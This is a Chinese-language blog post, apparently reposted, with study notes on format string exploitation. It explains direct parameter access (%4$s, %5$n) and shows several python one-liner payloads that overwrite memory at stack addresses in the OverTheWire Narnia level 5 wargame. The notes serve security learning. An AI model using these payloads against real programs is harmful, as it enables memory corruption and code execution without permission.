#$格式控制

格式化字符串漏洞利用技巧

 

问题出现在我的上一篇 格式化字符串漏洞   果然出来混一定要还的,  

上次遗留下来的问题 http://www.cnblogs.com/Bgod/p/6920031.html 中的 “1.5.3 利用直接参数访问来简化处理”

一直不明白 “ #$格式控制”  “%4\$s”  是什么意思

我们可以通过直接参数访问技术从栈上访问第四个参数,方法是使用 #$格式控制指示:
./fmttest `printf "\xfa\xff\xff\xbf"`"%08x %4\$s"
?ffff8bb t
Canary at 0x0804a028 = 0x00000000
上例的 “%4\$s” 即是直接参数访问技术的应用, 其中的'\'是跳脱符号,避免SHELL将$解释。通过这个技术,大大方便了我们对参数的访问。

 

在  OVERTHEWIRE – NARNIA – LEVEL 5  中进行测试

 python -c 'print "\x3c\xd7\xff\xff.%394x.%5\$n"'
 python -c 'print "\x3c\xd7\xff\xff%x%x%x%372u%n"' 
 python -c 'print "\x3c\xd7\xff\xff%372u%5\$n"'

上面三句话都可以改写 0xffffd73c  内存的值 为 ’400‘

python -c 'print "\x3c\xd7\xff\xff%5\$n"'

这一条可以改写 0xffffd73c  内存的值 为‘4’

 

总结: %5$n  相当于 直接访问第5个地址,在第5个地址处执行%n,  ‘/’ 是防止杯shell解析 

  

 

$(python -c 'print("\x4c\xd7\xff\xff%5$n")')

$(python -c 'print("\x4c\xd7\xff\xff%100d%5$n")')

$(python -c 'print("\x4c\xd7\xff\xff%100x%x%x%x%n")')

$(python -c 'print("\x3c\xd7\xff\xff%x%x%x%x%n")')

 

转载于:https://www.cnblogs.com/amliaw4/p/6924753.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值